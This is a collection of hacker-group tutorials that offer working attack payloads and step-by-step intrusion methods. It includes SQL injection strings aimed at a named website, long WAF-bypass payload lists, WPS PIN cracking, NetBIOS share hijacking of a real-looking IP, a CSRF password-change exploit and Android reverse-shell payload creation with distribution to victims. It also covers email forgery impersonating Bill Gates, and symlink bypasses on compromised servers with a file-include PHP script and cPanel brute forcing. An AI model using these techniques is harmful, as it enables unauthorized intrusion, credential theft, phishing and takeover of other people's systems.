id=-13 union select 1,2,DB_NAME
(),4,5 --
www.marinaplast.com/page.php?id=vv
()
☆¸.•*☆ ☆*•.¸☆
@@user
user()
user_name()
system_user()
# like #
www.marinaplast.com/page.php?
id=-13 union select 1,2,user
(),4,5 --
☆¸.•*☆ ☆*•.¸☆
HOST_NAME()
@@hostname
@@servername
SERVERPROPERTY()
# like #
www.marinaplast.com/page.php?
id=-13 union select 1,2,HOST_NAME
(),4,5 --
☆¸.•*☆ ☆*•.¸☆
@@datadir
datadir()
# like #
www.marinaplast.com/page.php?
id=-13 union select 1,2,datadir(),4,5 --
☆¸.•*☆ ☆*•.¸☆
ASPX
and 1=0/@@version
' and 1 =0 /@@ version;--
) and 1 =@@version--
and 1 = 0 /user ;--

©Indian Elite Hackers

Hello!
readers

Today I share a tutorial on

WAF Byassing In SQL Injections

What is WAF ?
WAF stands for Web Application Firewall. It is
widely used nowadays to detect and defend
SQL Injections and Cross Site Scripting (XSS)
attacks.

How does it Work?
When WAF detects any malicious input from
end user, It gives 403 Forbidden, 406 Not
Acceptable or any Kind of Custom errors

How to bypass this things?

what to do next? we cant do our further
injection right?

Well its time to use various techniques to
bypass thing.
Some of these techniques are
mentioned below:

# Case Changing:

Most of the Waf's only filter lowercase or
higher-case keywords. We can easily evade
that kind of wafs by using alternate case.

if union select is forbidden , we can always try
UNION SELECT instead. And if both does not
work, We can try our luck with using mixture
of both. like UniOn seLeCt

# Using Comments

It is the most famous method to bypass WAF .

SQL comments really help us in many cases.

They play their important role in killing some
Waf's Restrictions. e.g

// , -- , --+ , #, -- -

# Inline Comments

Some WAF’s filter keywords like

/union\sselect/ig

We can bypass these filters by
using inline comments most of the time

http://localhost/waf.php?id=1 /*!union*/ /*!
select*/ 1,2,3--

Read SQLi Errors carefully. Sometimes
they left error from which we can have idea
that how waf is working on this site.
Anyways, We were talking about Filtered
Keywords. So it does not mean that waf is
only filtering union select. It may be filtering
all SQL keywords like table_name, column_name etc
So might need to apply these inline comments
on those keywords as well.

Example

http://localhost/waf.php?id=1 /*!union*/ /*!
select*/ 1,2,/*!table_name*/,4,5 /*!from*/ /*!
information_schema.tables*/ /*!where*/ /*!
table_schema*/=database()--

# Double use of Keywords

Sometimes WAF removes whole keyword from
the query and execute it and throw errors
In such cases, we can use keywords in this
way

http://localhost/waf.php?id=1 UNunionION
SELselectECT 1,2,3,4,5,6--

Anyways It totally depends upon the scenario.
Im just giving a common Idea. Rest is upon
you that how you use it.

# Using Different types of Whitespaces

Sometime Waf may be filtering the whitespace

we are using between keywords. We mostly
use Spaces But space is not the only
whitespace we can use in SQL injection. We
have some other options as well
for example
+ . %20

is use for space, but we can try using one
of these whitespaces . some examples are

%09
%0A %0B %0C %0D %A0

inurl:
union%0Bselect%0B1,2,3--

# Encoding

We can always try our luck with URL encode
thing to bypass WAF. For example we can use

union select 1,/*!table_name*/,3 from
information_schema.tables where table_
schema=database()

as

union%20select%201,%2f%2a%21table_name
%2a%2f,3%20from%20information_
schema.tables%20where%20table_schema%
3Ddatabase%28%29

but sometime waf filter also filter % itself. So
we have to use double URL encoding in that
case

union%2520select%25201,%2f%2a%21table_name%2a%2f%2520,3 from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529

# Unexpected Input

This scenario is very rare that we have to use
buffer overflow or give unexpected query /
request to trick WAF filters.
for example:

http://localhost/waf.php?id=1 and (select 1)=
(Select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
union select 1,2,3,4,5--

This thing only worked once for me. But
knowledge is Power, may be you face any
scenario that can be bypassed by using buffer
overflow

# use all above mentioned techniques together

oh!!! .... tried all those things but still its showing
NOT ACCEPTABLE or FORBIDDEN.

well its
time to use all these above mentioned
techniques combined.

For example: you can use alternative cases
with inline comments or obfuscation.

#Some Common Union Select Solutions:

%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%
0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
uNiOn aLl sElEcT

I hope you have enjoyed this article.
Next Time We Share Some More Tutorials on WAF bypassing.

Please
give us your feedback. So that we may be able
to make things more clear for you next time .

#Indian_Elite_Hackers

How to Hack WPA
WiFi Passwords by
Cracking the WPS PIN

Hello Readers
today i am sharing this tutorial
How to Hack WPA
WiFi Passwords by
Cracking the WPS PIN Of Wi-Fi Routers

WPS, or WiFi Protected Setup,
known about for over a year by TNS, was
finally exploited with proof of concept code.
Both TNS, the discoverers of the exploit and
Stefan at .braindump have created their
respective "reaver" and "wpscrack" programs
to exploit the WPS vulnerability. From this
exploit, the WPA password can be recovered
almost instantly in plain-text once the attack
on the access point WPS is initiated, which
normally takes 2-10 hours (depending on
which program you use).

let's go over how to use both
tools to crack WPS. As of yet, no router is safe
from this attack, and yet none of the vendors
have reacted and released firmware with
mitigations in place. Even disabling WPS still
allows this attack on most routers.

Requirements

•Linux OS

•A router at home with WPS

•The following programs installed (install by
package name): aircrack-ng, python-
pycryptopp, python-scapy, libpcap-dev

Tools

•Reaver 
(support for all routers)

•wpscrack
(faster, but only support for major
router brands)

Crack WPS

code:
bold is a terminal command.

Follow the guide that corresponds to the tool
that you chose to use below.

Reaver

1. Unzip Reaver.

unzip reaver-1.3.tar.gz

2. Change to the Reaver directory.

cd reaver-1.3

3. Configure, compile and install the application.

./configure && make && sudo make install

4. Scan for an access point to attack, and copy

its MAC address for later
(XX:XX:XX:XX:XX:XX).

sudo iwlist scan wlan0

5. Set your device into monitor mode.

sudo airmon-ng start wlan0

6. Run the tool against an access point.

reaver -i mon0 -b <MA:CA:DD:RE:SS:XX> -vv

7. Wait until it finishes.
This tool makes it too easy.

--------------------------------------------------------------------------
• wpscrack .py

1. Make the program an executable.

chmod +x wpscrack.py

2. Scan for an access point to attack, and copy
its MAC address for later
(XX:XX:XX:XX:XX:XX).

sudo iwlist scan wlan0

3. Get your MAC address, save it for later.

ip link show wlan0 | awk '/ether/{print $2}'

4. Set your device into monitor mode.

sudo airmon-ng start wlan0

5. Attack your AP.

wpscrack.py –iface mon0 –client <your MAC,
because you're attacking yourself, right?> –
bssid <AP MAC address> --ssid <name of your
AP> -v

6. Got Victory!!!!!

Now, let's hope we see a lot of firmware
update action going on in the near future, or
else a lot of places are in a whole world of
trouble.

Thanx For Reading.

----------------------
| Like Us On Facebook |
----------------------
#Indian_Elite_Hackers

Hello Friends
This Time I Will show You how to hack a computer using netbios

A brief lesson on NetBIOS
The NBTSTAT command
What you need to hack ?
Types of attacks
Searching for a victim
Lets Hack - Part 1 Remotely reading/writing
to a victim's computer
Cracking "Share "passwords
Using IPC$ to hack Windows NT
Penetrating in to the victim's computer
Lets Hack - Part 2 Denial of service attack
How to protect yourself
_____________________________________________
______________________________________________
__________________
A BRIEF
LESSON ON NETBIOS
NetBIOS stands for Network B asic Input
O utput S ystem .It was originally developed by
IBM and Sytek as an Application Programming
Interface (API) for client software to access
LAN resources. If you have experience of
working on a LAN using Microsoft Windows
Operating Systems (like Windows98 , Windows
Me, Windows NT etc), you must have clicked
on "Network Neighborhood" to access the
computers attached to your network. After
clicking on the icon you would have seen the
names of the computer . Do you know what
exactly happens when you click on Network
Neighborhood? Your computer tries to get the
names of the computers attached to the
network with by issuing command to
NetBIOS . NetBIOS gives the name of the
computers that have been registered . In short
NetBIOS gives the various information of the
computers on a network . These Include-
Name of the computer
Username
Domain
Computer Name
and many others.
Like any other service it also works on a port .
It has been assigned a port number 139.
GO TO CONTENTS ___
______________________________________________
______________________________________________
__________________
THE
NBTSTAT COMMAND
You can manually interact with the NetBIOS
with the help of NBTSTAT command. To use
this command click on the start button then
select RUN... and type "command" without
quotes to launch MS-DOS Command Prompt.
Alternatively you may click on Start Button
then go to Programs and then select
Command Prompt. Once you are in Command
Prompt you can exit by typing command
EXIT . To launch Command Prompt in full
screen mode press ALT+ENTER key
combination .To get back to the original
window again press ALT+ENTER key
combination. If you have launched the
command prompt you will get
c:\windows>
If you do not get windows displayed after c:\
don't worry just keep going , all required
commands will work fine.
Now lets play with the NBTSTAT command.
If you want to get more help from MS-DOS
about this command type NBTSTAT/? on the
prompt i.e.
c:\windows>nbtstat/?
If you want to get the NetBIOS information of
your computer type the following command
c:\windows>nbtstat -a 127.0.0.1
This command will list the NetBIOS
information. A typical example
NetBIOS Remote
Machine Name Table
Name Number
Type Usage
==========================================================================
workgroup 00
G Domain Name
my_computer 03
U Messenger Service
myusername 03
U Messenger Service
MAC Address = 00-02-44-14-23-E6
Please note that we have used our ip address
to be 127.0.0.1 . This ip address is called as
"Loop Back" ip address because this ip
address always refers to the computer you are
using.
This example is self explanatory . We need not
go in details. We need to know about the
Name and Number. The Name displays the
Name of the NetBIOS and there is a
corresponding hexagonal number . You may
see some additional names in your case.
If you want to get the NetBIOS names of a
remote computer, the command is
c:\windows>nbtstat -a ipaddress
Example - To get the NetBIOS names of a
computer having ip address 203.195.136.156,
we shall use the command
NOTE-203.195.136.156 may be a active ip
address of someone's computer. I am using it
only as an example. Please don't hack this
computer.
c:\windows>nbtstat -a 203.195.136.156
If you want to get to know more about the ip
address and ports click here
GO TO CONTENTS
______________________________________________
______________________________________
WHAT YOU
NEED TO HACK
All you need is a Windows based operating
system like Windows 98 and Me (but I prefer
Windows NT, 2000, XP) and an internet
connection.
GO TO CONTENTS
______________________________________________
______________________________________________
________________
TYPES OF
ATTACKS
We can launch two types of attack on the
remote computer having NetBIOS.
1. Reading/Writing to a remote computer
system
2. Denial of Service
GO TO CONTENTS
______________________________________________
______________________________________________
_________________
Searching
for a victim
You may manually search for the victims by
first using the nbtstat -a ipaddress and then
net view \\ipaddress . If at first you don't
succeed step to next ip address until you find
a suitable ip address. You may also use a
port scanner .A port scanner is simply a
software that can search for any block of ip
address say 192.168.0.1 to 192.168.0.255 for
one or more ports. "Orge" is a port scanner
that gives NetBIOS names of the remote
computer.
GO TO CONTENTS
______________________________________________
______________________________________________
________________
Lets Hack -Part 1 Remotely
reading/writing to a victim's computer
Believe it or not but NetBIOS is the easiest
method to break into somebody's computer.
However there is a condition that must be
satisfied before you can hack. The condition is
that the victim must have enabled File And
Printer Sharing on his computer. If the victim
has enabled it , the nbtstat command will
display one more NetBIOS name. Now lets us
take a example. Suppose you know a ip
address that has enabled File And Printer
Sharing and let suppose the ip address
happens to be 203.195.136.156 .
If you would like to know more about ip
address click here . If you don't the ip address
where File and Printer Sharing is enabled read
"Searching for a victim"
The command that you will use to view the
NetBIOS name is
c:\windows>nbtstat -a 203.195.136.156
Let suppose that the output comes out to be
NetBIOS Remote Machine Name Table
Name Type Status
-------------------------------------------------------------------------------------------------
user            <00> UNIQUE Registered
workgroup <00>    GROUP Registered
user            <03> UNIQUE Registered
user            <20> UNIQUE Registered
MAC Address = 00-02-44-14-23-E6
The number <20> shows that the victim has
enabled the File And Printer Sharing.
--------------------------------------------------------------------------------------------------
-----------------------------------------------------------
NOTE - If you do not get this number there are
two possibilities
1. You do not get the number <20> . This
shows that the victim has not enabled the File
And Printer Sharing .
2. You get "Host Not found" . This shows that
the port 139 is closed or the ip address
doesn't exists.
---------------------------------------------------------------------------------------------------------
Now our next step would be to view the drive
or folders  the victim is sharing.
We will use command
c:\windows>net view \\203.195.136.156
Let suppose we get the following output
Shared resources at \\203.195.136.156
ComputerNameGoesHere
Share name Type Used
as Comment
-----------------------------------------------------------------------------------------------
CDISK Disk
The command completed successfully.
"DISK" shows that the victim is sharing a
Disk named as CDISK . You may also get
some additional information like
Shared resources at \\203.195.136.156
ComputerNameGoesHere
Share name Type Used
as Comment
-----------------------------------------------------------------------------------------------
HP-6L Print
"Print " shows that the victim is sharing a
printer named as HP-6L
If we are able to share the victims hard disks
or folders or printers we will be able to read
write to the folders or hard disks or we may
also be able to print anything on a remote
printer ! Now let us share the victims
computer's hard disk or printer.
Till now we know that there is a computer
whose ip address happens to be
203.195.136.156 and on that computer File
and printer sharing is enabled and the victim's
hard disk 's name is CDISK.
Now we will connect our computer to that
hard disk . After we have connected
successfully a drive will be created on our
computer and on double clicking on it we will
be able to view the contents of the drive. If we
have connected our newly formed drive to the
victim's share name CDISK it means that we
our drive will have the same contents as that
of the CDISK .
Lets do it.
We will use the NET command to do our
work .
Let suppose we want to make a drive k: on
our computer and connect it to victim's share
we will issue the command
c:\windows>net use k: \
\203.195.136.156\CDISK
Y ou may replace k letter by any other letter.
If the command is successful we will get the
confirmation - The command was completed
successfullly
The command was completed successfully
Now just double click on the My Computer
icon on your desktop and you will be a happy
hacker!
We have just crested a new drive k: . Just
double click on it and you will find that you
are able to access the remote computer's hard
disk. Enjoy your first hack!
GO TO CONTENTS
______________________________________________
______________________________________________
_________________
Cracking
Share passwords
Sometimes when we use "net use k: \
\ipaddress\sharename" we are asked for a
password. There is a password cracker
"PQWAK" . All you have to enter ip address
and the share name and it will decrypt the
password within seconds. Please note that
this can crack only the passwords is the
remote operating system is running on -
Windows 95
Windows 98
Windows Me
GO TO CONTENTS
______________________________________________
______________________________________________
__________________
Using IPC$ to
hack Windows NT
Now you must be thinking of something that
can crack share passwords on NT based
operating systems like Windows NT and
Windows 2000.
IPC$ is there to help us. It is not at all a
password cracker . It is simply a string that
tells the remote operating system to give
guest access that is give access without
asking for password.
We hackers use IPC$ in this way
c:\windows>net use k: \\123.123.123.123\ipc
$ "" /user:""
Y ou may replace k letter by any other letter. If
you replace it by "b" (type without quotes) a
new drive will be created by a drive letter b.
Please note that you won't be able to get
access to victim's shared drives but you you
can gather valuable information like names of
all the usernames, users that have never
logged, and other such information. One such
tool that uses the ipc$ method is "Internet
Periscope"
GO TO CONTENTS
______________________________________________
______________________________________________
__________________
Penetrating in to
the victim's computer
Now that you have access to a remote
computer you may be interested in viewing
his secret emails, download his mp3 songs ,
and more...
But if you think like  a hard core hacker you
would like to play some dirty tricks like you
may wish to install a key logger or  install a
back door entry Trojan like netbus and
backorifice or delete or copy some files. All
these tasks involves writing to victim's hard
disk . For this you need to have write access
permission and this can only be granted by
the remote user .
GO TO CONTENTS
______________________________________________
______________________________________________
_________________
Lets Hack - Part 2
Denial of service attack
This type of attacks are meant to be launched
by some computer techies because this type of
attack involves using Linux Operating System
and compiling C language files .

Find Us On Facebook
#INDIAN_ELITE_HACKERS

What is CSRF?
CSRF (Cross-Site Request Forgery) is a
vulnerability found in web applications which
allow a remote attacker to create a special
web page or email which, when viewed by an
authenticated viewer on a remote site, will
execute a particular script. The script executed
could range from creating usernames with
administrative access, changing the admins
(or any other user's) password, creating
content on the site, deleting content on the
site, and any other action that a user with an
authenticated session might be able to do.

How do I find CSRF Vulnerabilities?
This is an interactive tutorial on finding CSRF
Vulnerabilities using a demo CMS from

Code:

http://demo.site.com

At the time of this writing the vulnerability
exists on Dubsite CMS 1.0 but the vendor has
been alerted to this and thus I cannot verify
that at the time this is written the vulnerability
will exist. The tools I use to find CSRF
vulnerabilties are Firefox Web Browser, the
Tamper Data Firefox Plug-in, and Notepad++
(or any other text-editor).
Step 1: visit

Code:

http://demo.site.com/dubsite/
index.php/login
and login with the following credentials:

Username: admin
Password: demo000

Step 2: Navigate to the user control panel of
the admin page located at

Code:

http://demo.site.com/dubsite/
index.php/admin/users/accounts

Step 3: We are now going to attempt to
modify the administrator's password. Click on
edit and fill in the data you want. Before you
click submit, start tamper data to sniff the
requests.
Now make a note of the parameters passed to
the website.
The stuff we interested in are the URL up top
and all the POST parameters in the right
window. Open up your favorite text-editor and
copy down all these values.

Step 4: Here comes the fun part, we are going
to create our evil URL. We have to combine
our base url with our post parameters.
Our base URL is the URL we copied from
tamper data. In this case our base URL is :
Code:

http://demo.site.com/dubsite/
index.php/admin/users/accounts/edit/1

When we append POST parameters to a base
URL we start with adding a ? to the base URL
and then combine parameters by linking them
with a &. An example is
Code:
http://base.url/goes/here?
first=parameter&second=parameter
A more specific example is for our Dubsite
CMS base URL:
Code:

http://demo.site.com/dubsite/
index.php/admin/users/accounts/edit/1?
username=admin&userpassword=test123&
userpassword2=test123&role_
id=1&active=1&update=Update

As you can see we send the data back to the
server the same way our browser sent it. This
example URL will edit the administrator
account's password and change it to test123.

Step 5: Now we have a few methods of getting
the authenticated administrator to execute
this command. First of all we could make a
website and set it like this:
Code:
<html><head></head><body><img src =
"http://demo.site.com/dubsite/
index.php/admin/users/accounts/edit/1?
username=admin&userpassword=test123&
userpassword2=test123&role_
id=1&active=1&update=Update" /></body></
html>
When the web browser views the page it will
send the link to the admin's site trying to get
the information for the image which will in
turn execute the change password feature.
Another way to get the admin to execute the
command is to email the admin with the
<img> tag trick in the body of the email.
Opening the email will cause the server to try
to grab the image and will execute the change
password function.

Conclusion

CSRF vulnerabilities could cause a lot of harm
to a system admin because the form does not
have some sort of validation token in place to
make sure the administrator is actually
issuing the command. A technique that will
stop many attackers is to add HTTP_REFERER
checking to the page with the form. Coming
from an email or other website, the request for
the form will be either blanked out or wrong
and thus tip off the admin to what is going
on. Combined with session tokens for making
sure each visit to the form is unique, this will
stop attackers from attacking your site via
CSRF techniques.
The create user function is also vulnerable to
CSRF attacks. For more practice try to exploit
it and create your own administrator user.
credits to connection

#Indian_Elite_Hackers

If you are beginning to learn, Armitage is not
something you would want to start with. It is
alright to quickly automate some
routine

Metasploit tasks using Armitage,

but if you're
trying to learn something, Armitage adds a
level of abstraction and makes you a perfect
script kiddie.

Learning stuff on 'msfconsole' or 'msfcli'
before moving on to Armitage, is a better
approach in my opinion.

The tool is mostly self-explanatory due to its
GUI.

Here, I am simulating an attack on a Windows
XP system using Armitage on Kali Linux.
Bring up Armitage by typing:

code:
•  service postgresql start

•  armitage

First, I need to 'discover' this host.

Hosts -> nmap scan

OR, I could manually 'add host' by providing
its IP.

Now I can see this windows XP host in
Armitage workspace. From here, I could
manually search for vulnerabilities on the
Windows XP and then try to exploit them, but
I chose the easy way on Armitage, which is
'Hail Mary'.

Attacks -> Hail Mary

It tried some common exploits relating to
available services on victim machine and gave
me the 'red' around that host, which means
the host is compromised.

I grab the password hashes that I can try to
crack later on.

I gain access to cmd.exe 'command prompt' in
windows.

I set up a persistant Meterpreter backdoor on
the hacked windows XP for later access.

I can view the processes running on hacked
machine.

I tried connecting with VNC viewer to the
remote machine.

If you're a part of a Pen Test team, then one of
you can host an Armitage server and other can
'connect' to it, so that you can collaborate on
the project.

At the connect window, you need to enter the
host name of the fellow Pen Tester hosting the
Armitage server, the port number, and the
username and password that he/she has
provided you.

At the next window, confirm the fingerprint.

Pick a 'Handle' for the session.
And then you can join in with your Pen Test
Team and work in collaboration on the project

There's a bunch of other stuff you could do
with Armitage, please feel free to explore
further.

#AnonyMous_KnW

Macchanger is a tool already available in Kali
Linux or Backtrack.  It lets you change the
hardware address pertaining to a particular
interface on your machine. For instance, as
'eth0' or 'wlan0' are the interfaces for wired
and wireless connection respectively, here's
how you would use it:
Here, the option 'r' is used to tell macchanger
to use a 'random' MAC address. The option 'A'
is used to set the random vendor MAC of any
kind, while 'a' is used to set the random
vendor MAC of the same kind.
You can also specify the MAC address that
you want to use by using the option 'm' as
shown in the figure.
In case you want your machine to acquire a
random MAC address every time you restart
the machine, you can do so by storing the
following command in the

/etc/network/interfaces
file:

pre-up ifconfig eth0 hw ether
00:00:00:00:00:00

Here, the MAC address

'00:00:00:00:00:00'
will be allocated to your machine each time
you restart it.

Update: If you get an error while you are trying
to spoof your MAC address using macchanger,

it is probably because you are trying to
change the hardware address of that interface

while it is 'up'. This is similar to trying to
change a car's tire while it is in motion--
maybe not the best example, but you get the
idea. You need to put the interface 'down'
first. Then change the hardware address using
macchanger, and then bring it 'up' again.

code:

ifconfig wlan0 down
macchanger -r wlan0
ifconfig wlan0 up

thanx for reading!!!

#AnonyMous_Knw

Hello Readers!

I am back with a new tutorial

Nowadays mobile users are increasing day by
day, the security threat is also increasing
together with the growth of its users. Our
tutorial for today is how to Hacking Android
Smartphone Tutorial using Metasploit. Why we
choose android phone for this tutorial? simply
because lately android phone growing very
fast worldwide. Here in China you can get
android phone for only US$ 30 it's one of the
reason why android growing fast.

What is  android?

according to wikipedia:

Android is an operating system based on the
Linux kernel, and designed primarily for
touchscreen mobile devices such as
smartphones and tablet computers. Initially
developed by Android, Inc., which Google
backed financially and later bought in 2005,
Android was unveiled in 2007 along with the
founding of the Open Handset Alliance: a
consortium of hardware, software, and
telecommunication companies devoted to
advancing open standards for mobile devices.

and what is APK? according to wikipedia:

Android application package file (APK) is the
file format used to distribute and install
application software and middleware onto
Google's Android operating system; very
similar to an MSI package in Windows or a
Deb package in Debian-based operating
systems like Ubuntu.

Here is some initial information for this
tutorial:

Attacker IP address: 192.168.8.94
Attacker port to receive connection: 443
Requirements:

1. Metasploit framework (we use Kali Linux in this tutorial)
2. Android smartphone (we use HTC One
android 4.4 KitKat)
Step by Step Hacking Android
Smartphone Tutorial using Metasploit:

1. Open terminal (CTRL + ALT + T) view
tutorial how to create linux keyboard shortcut .
2. We will utilize Metasploit payload
framework to create exploit for this tutorial.

msfpayload android/meterpreter/
reverse_tcp
LHOST=<attacker_ip_address>
LPORT=<port_to_receive_connection>

As described above that attacker IP address is
192.168.8.94.

3. Because our payload is reverse_tcp where
attacker expect the victim to connect back to
attacker machine, attacker needs to set up the
handler to handle incoming connections to the
port already specified above. Type
msfconsole to go to Metasploit console.
Info:
use exploit/multi/handler –> we will
use Metasploit handler
set payload android/meterpreter/
reverse_tcp –> make sure the payload

is the same with step 2

4. The next step we need to configure the
switch for the Metasploit payload we already
specified in step 3.
Info:
set lhost 192.168.8.94 –> attacker
IP address
set lport 443 –> port to listen the
reverse connection
exploit –> start to listen incoming
connection

5. Attacker already have the APK's file and
now he will start distribute it (I don't need to
describe how to distribute this file, internet is
the good place for distribution ).

6. Short stories the victim (me myself)
download the malicious APK's file and install
it.

7. It's mean that attacker already inside the
victim android smartphone and he can do
everything with victim phone.

Conclusion:

1. Don't install APK's from the unknown
source.

2. If you really want to install APK's from
unknown source, make sure you can view, read
and examine the source code. The picture
below is the source code of our malicious
APK's in this tutorial.

#AnonyMous_Knw

Hello Readers!!

This time i going to show you how to send fake emails
Fake emails is very easy. We will be connecting to the remote
mail server and using the function of mail
daemon running in the remote host to send
the fake mails.
Anyway, first open the command prompt

(start–> run –> cmd)

and type

o www.mailserver.com 25

This establishes a remote connection to the port number 25 at mailserver.com 

After a successful connection,
I am displayed with the
SMTP infos..

Its always a good idea to ask help from the
mail daemon. So first issue HELP to see the
supported commands..
Then we introduce ourselves to the mail
daemon by issuing the

“HELLO”

command..
and after a successful hello command, we
input the sender email using ‘mail
from:’ (without quotes) command.. Then we
enter the recipient’s address using the ‘rcpt
to:’ (without quotes) command.
Now, we enter our actual data using the DATA
command.. Within DATA, u can use SUBJECT:
command to enter the subject of email..
Finally, we end our data by entering .(full
stop) at the end. This sends the forged mail
through that mail server..
now let me show a session of email forging
from which u can be more clear.
First, I open command prompt & go to telnet
client by typing telnet..

Below is the session:

Microsoft Telnet>o www.mailserver.com 25

220 mailserver.com ESMTP

Sendmail Version
8.x.x; Mon, 28 Sept. 2008;

We do not allow to send fake or bulk emails…
hello microsoft.com
250 mailserver.com Hello Nice to meet you..

mail from:billgates@microsoft.com
250 billgates@microsoft.com Sender Ok
rcpt to:victim@victim.com
250 victim@victim.com Recipient Ok
data
354 Enter mail, end with “.” on a line by
itself..

SUBJECT:Hello!
Hello,
I am Bill Gates, the chairman of Microsoft. I
would like to offer you a job for Microsoft
Corporation. If you are interested to work with
Microsoft, then reply me at my mail address.
Regards~
Bill Gates
.
250 2.0.0 iF3NDLS240106 Message Accepted
For Delivery.
This was the session of sending the forged
mail from billgates@microsoft.com to

victim@mailsite.com

I hope you understood the log.. So this was
my little tutorial on sending forged emails..
The art of sending forged emails can be
extended to send file attachments and to use
multiple recipients..

Any positive or negative comment is heartily
welcomed.. I may extend this file into bigger
form (including esmtp, file attachments,etc.)

Hope you liked my this little basic tutorial on
sending the fake emails..

Extra Tips:

You can find out which ports are opened and
if mail is enabled on any of those ports by
doing an nmap scan of the website. SMTP is a
very commonly open port and could be used
to spoof emails tricking site users to send you
their details or anything else needed.

#AnonyMous_KnW

Hello Readers
Today I am going to show you

BYPASSING SYMLINK METHODS: On LINUX |
APACHE AND LITESPEED SERVERS

Requirements:

Shelled Server
Writable .htaccess

Note :

This tutorial will not work for Godaddy ,
Bluehost , Hostgrator and Hostmonstor
Servers .

Tutorial:

Firstly You Need the Following Files For This
Method:
1 -> AnonyMous KnW CGI Shell
2 -> Anonknw
3 -> passwd-bypass.php
4 -> Turbo Brute force Cpanel
5 -> Port.py
First Before Starting to symlink we need to
create php.ini and ini.php to Disable Safe
mode and Disabled Functions on the server .
Use the Following Code :
Make a php.ini with the following code

safe_mode=Off
And ini.php with
PHP Code:
<?echo ini_get ( "safe_mode" );
echo ini_get ( "open_basedir" );
include( $_GET [ "file" ]); ini_restore ("safe_mode" )
;ini_restore ( "open_basedir" );
echo ini_get ( "safe_mode" );
echo ini_get ( "open_basedir" );
include( $_GET [ "ss" ]); ?>

Download link of the files used in this method
are on the end of the tutorial .
So after creating php.ini and ini.php upload
the other files to the server .
BYPASSING SYMLINK ON PLESK , DEBIAN ,
CENTOS & REDHAT SERVERS
Now i will explain how to bypass symlink on
Plesk , Debian , Centos and Redhat
Commonly all of the above have root path like

/root/var/www/vhost/

where all sites will be under vhost directory .
But you wont have permission to view it so we
will create a symbolic link to root and view the
site and symlink the config files
Make a new directory in your shell example
sen then upload AnonKnw folder Then
create a
symbolic link to root .

you can manually create a symlink to
root by using the command

ln -s / root

Then You will see this
$ linking: AnonKnw.txt -> /
finishing deferred symbolic links:
.txt -> /
This means a symbolic link has been created
to / root .
Now we need to upload .htaccess use the
following
PHP Code:
Options all
DirectoryIndex Sux.html
AddType text /plain .php
AddHandler server -parsed .php

Done Bypassed Now View

/var/www/vhost/

and you will be displayed with all sites .
BYPASSING SYMLINK ON APACHE AND
LITESPEED:

Mostly when you try to symlink apache
server you will face 403 forbidden or 404
not found and 500 Internel Server Error

These can be Bypass By Using
Different .htaccess individually.
BYPASSING SYMLINK ON APACHE &
LITESPEED – Linux Servers .

First for this make a new directory in your
shell example Anonknw then upload AnonKnW.sa
and .htaccess from the AnonyMous KnW CGI shell
which i added the download link at the end of
the Tutorial

After uploading .htaccess and AnonKnW.sa to a new
directory AnonknW chmod a AnonKnW.sa to 0755
Then Open the Cgi Shell Login
(   Password :-->   anonknw0755   )
Now there are several methods to bypass 403
forbidden You need to try all the following
methods . Atleast one will give you success .
Method 1 : .shtml method
This is the commonly used method by most of
the hackers to bypass 403 forbidden Error .
So before we procced first you need to get
all /etc/passwd from the server so that we
can find the username and path of where the
sites are located .

Server mostly Many functions are

enabled which shows 403 forbidden when you
try to read cat /etc/passwd from the server

so i made a Powerfull Shell which can bypass

and get /etc/passwd from the server.
(I add alredy  at the last of tutorial.)
Upload the /etc/passwd bypasser shell and
get all /etc/passwd
Then Login to AnonyMous CGI Shell and create
a symbolic link to your Target

Step 1 : ln -s / root

Step 2 : ln -s /home/username/public_html/
config.php 1.shtml

Example if our site is http://www.site.com
and username is site and its WordPress

ln -s /home/site/public_html/wp-config.php
1.shtml

So we created a Symbolic link to our Target
now you need to Go to Your Shell and Edit
the .htaccess with the following
PHP Code:
Options + FollowSymlinks
DirectoryIndex itti. html
RemoveHandler . php
AddType application / octet -stream .php

Once you done this Open the 1.shtml on your
Browser and rightclick and view source .
You
will be able to View the Config .
This is the common way of Bypass 403
forbidden and Litespeed .
Now Let Me Explain You the Advanced
Method.

Method 2 : Bypassing Symlinked Config From
Cpanel:

For This You need at least One Cpanel Access
on the sever .

I will tell you how to easily
crack Cpanel .

First Run This Command :

ls /var/mail

Then you will be displayed with all username
from the server Copy all .

Now Upload Turbo Brute Force Cpanel Script
( i attached it at last of Tutorial).

Open the Script and in User Paste all the
username we got

And for Password here is the wordlist Here :

Copy All and Paste it on Password Select
Simple and Click Submit
If Your lucky you will be displayed with
cracked cpanels.
Once you got a cpanel on the server

You can
Bypass 500 Internel Server Error 403
Forbidden Error From Port :2077 and From

error-pages from file manager.
Just symlink the config

ln -s /home/user/public_html/wp-config.php
config.shtml

Login to the cpanel

Then Go to File Manager -> Error Pages

Then Choose any of these according to what
error is triggered when you open your

symlinked config

400 (Bad request)
401 (Authorization required)
403 (Forbidden)
404 (Not found)
500 (Internal server error)
Example “&file=400.shtml&desc=(Bad
request)

we can get the config by

“&file=config.shtml& desc=(Bad request)

BYPASS SYMLINK FROM PORT 2077
So once you Symlinked the Config You can
just login to port 2077

Then public_html/path/config.shtml

You will be able download the config.shtml
and you can view the source .

Method 3 : Symlink Bypass via Open Port
using Python
For this First we Python to be Installed on
Server.

To check if Python is installed run this

command python -h

If its install we can use the following python
script and Bypass

#!/usr/bin/env python
# Made in AnonKnw Labs
import SimpleHTTPServer
import SocketServer
import os
port = 13123
if __name__==’__main__':
os.chdir(‘/’)
Handler =
SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer((“”, port),
Handler)
